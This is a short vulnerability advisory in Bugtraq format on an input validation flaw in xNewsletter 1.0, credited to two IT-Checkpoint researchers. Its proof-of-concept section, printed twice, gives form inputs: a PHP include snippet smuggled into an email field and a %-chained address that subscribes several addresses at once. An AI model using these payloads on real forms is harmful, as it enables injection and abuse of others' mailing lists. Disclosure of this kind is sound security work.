xNewsletter Form Field Input Validation Vulnerability
BID:4516
Info
xNewsletter Form Field Input Validation Vulnerability
| Bugtraq ID: | 4516 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 14 2002 12:00AM |
| Updated: | Apr 14 2002 12:00AM |
| Credit: | Discovered by Markus "Firehack" Köberle <[email protected]> and Florian "BlueScreen" Hobelsberger <[email protected]> from www.IT-Checkpoint.net. |
| Vulnerable: |
x-dev xNewsletter 1.0 |
| Not Vulnerable: | |
Exploit / POC
xNewsletter Form Field Input Validation Vulnerability
The following example was submitted:
Subscribe with the following code to create an almost undeletable
entry:
<?php inlcude("text.txt");?>[email protected]
Subscribe with the following address to add an address more than one time:
([email protected])%[email protected]%[email protected]%[email protected]
The following example was submitted:
Subscribe with the following code to create an almost undeletable
entry:
<?php inlcude("text.txt");?>[email protected]
Subscribe with the following address to add an address more than one time:
([email protected])%[email protected]%[email protected]%[email protected]